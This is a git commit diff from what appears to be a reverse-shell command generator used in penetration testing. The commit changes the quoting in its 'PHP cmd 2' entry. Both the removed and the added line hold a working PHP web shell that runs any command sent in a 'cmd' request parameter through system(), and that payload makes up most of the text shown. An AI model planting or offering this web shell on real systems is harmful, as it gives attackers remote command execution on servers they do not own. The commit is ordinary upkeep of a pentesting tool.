use uniform quotes on "PHP cmd 2" payload

minor inconvenience, but copying this particular payload from a bash shell is tedious because it mixes single and double quotes (`"`/`'`)
use only double quotes.
This commit is contained in:
tuxlu 2024-02-09 21:11:41 +01:00 committed by GitHub
parent 5bcd1cd5db
commit 083e319dd5
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -158,7 +158,7 @@ const reverseShellCommands = withCommandType(
},
{
"name": "PHP cmd 2",
"command": "<?php if(isset($_REQUEST[\'cmd\'])){ echo \"<pre>\"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo \"<\/pre>\"; die; }?>",
"command": "<?php if(isset($_REQUEST[\"cmd\"])){ echo \"<pre>\"; $cmd = ($_REQUEST[\"cmd\"]); system($cmd); echo \"<\/pre>\"; die; }?>",
"meta": ["linux", "windows", "mac"]
},
{